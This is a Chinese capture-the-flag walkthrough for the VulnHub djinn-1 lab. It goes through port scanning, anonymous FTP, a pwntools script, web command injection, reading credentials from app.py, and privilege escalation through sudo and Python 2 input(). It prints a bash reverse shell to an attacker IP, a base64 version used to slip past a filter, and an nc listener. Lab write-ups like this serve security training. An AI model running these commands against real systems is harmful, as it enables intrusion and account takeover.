靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/
信息收集
靶机的IP已经告诉你了,但需要保证和你的主机(kali)在同一网段,可以将网络适配器改为NAT模式。
直接nmap直接扫
nmap -A -p- 192.168.221.148
结果只发现21,22,1337,7331开着的,其中1337和7331这两个端口可以打开页面,但查看源码合着就一静态页面。啥也没有。
ftp匿名登录
既然我们看到了开了21端口我们尝试匿名登录ftp服务器,成功。我们查看服务器文件并全部下载下来

在game.txt中出现一句话,1337端口上设置了一个游戏
我们打开浏览器的1337端口,响应无效不能打开(刚刚还能打开的可能触发了什么条件之后就不让了)。这时我们可以尝试使用 telnet
方式打开。提示需要我们回答1000次问题估计要写个脚本

脚本如下
from pwn import *
c = remote('192.168.221.148',1337)
c.recvuntil("\n\n", drop=True)
for i in range(1001):
c.recvuntil("(", drop=True)
int1 = c.recvuntil(",", drop=True)
c.recvuntil("'", drop=True)
mathsym = c.recvuntil("'", drop=True)
c.recvuntil(", ", drop=True)
int2 = c.recvuntil(")", drop=True)
equation = int1+mathsym+int2
print(str(i)+"th answer= "+str(equation))
c.sendlineafter('>',equation)
c.interactive()
目录扫描
端口扫描还发现7331端口并且运行着http服务是个静态页面,我们扫描一下看看有什么发现。经过扫描发现了两个目录一个/wish一个/genie两个目录,依次访问。

命令执行
打开之后发现纯纯一个命令执行。在输入框输入”ls”,页面跳转到了”/genie”,并成功执行了命令


反弹shell
我们直接向kali反弹一个shell,在输入框中输入反弹shell的命令,并在kali端进行监听。但是被拦截掉了,我们直接通过base64编码绕过。
bash -i >& /dev/tcp/192.168.221.132/4444 0>&1
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMS4xMzIvNDQ0NCAwPiYx | base64 -d | bash
打开kali进行监听,成功上线
nc -lvp 4444
成功监听后获取交互式 提示符,不然切换用户会出问题
python -c "import pty;pty.spawn('/bin/bash')"
查看当前目录下文件。其中app.py是后端文件(用的是flask框架),在里面看到了一些过滤规则。此外我们还发现CREDS这个关键词。进入此文件,发现是nitish的账号密码



权限提升
直接使用这个账号登进去,之后到其家目录看看。发现一个user.txt,我们直接打开查看。但看不懂

按照这个趋势,应该是要权限提升了,我们先查看一下他能执行什么权限。发现有一个操作不需要密码
查看一下genie的用法,发现可以通过这个可执行文件得到一个shell。其有 -p 和 -cmd 两种参数,尝试了一下好像只有 cmd 成为sam用户,同样我们查看到lago命令可以以root权限执行且无需密码,但是执行不了,也没有help文档
sudo -u sam /usr/bin/genie -cmd whoami

接下来就不知所措,经过提示,我们可以先看看可写的文件有哪些。发现了一个/home/sam/.pyc。
find / -writable -type f 2>/dev/null
靶机上有python环境,在该文件目录下使用 python开启一个http服务,下载到本地,然后进行反编译网址
python反编译在线 https://tool.lu/pyc

反编译结果
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
Python 2.x 中有两种常用的方法来接收输入:
1、使用输入()功能:此功能需要您输入的输入值和类型,因为它是在不修改任何类型。
2、使用raw_input() 函数:该函数将您提供的输入显式转换为字符串类型
使用raw_input()无论输入什么都是str字符串类型,input()输入要想输入”你好”必须要用引号不然会报错。也就是说如果input()输入一个变量返回也就是变量的值,不是一个字符串,raw_input()输入一个变量输出也就是个”字符串
所以当我们先输入 2 ,再输入num的时候就会执行 system(‘/bin/sh’),即提权成功。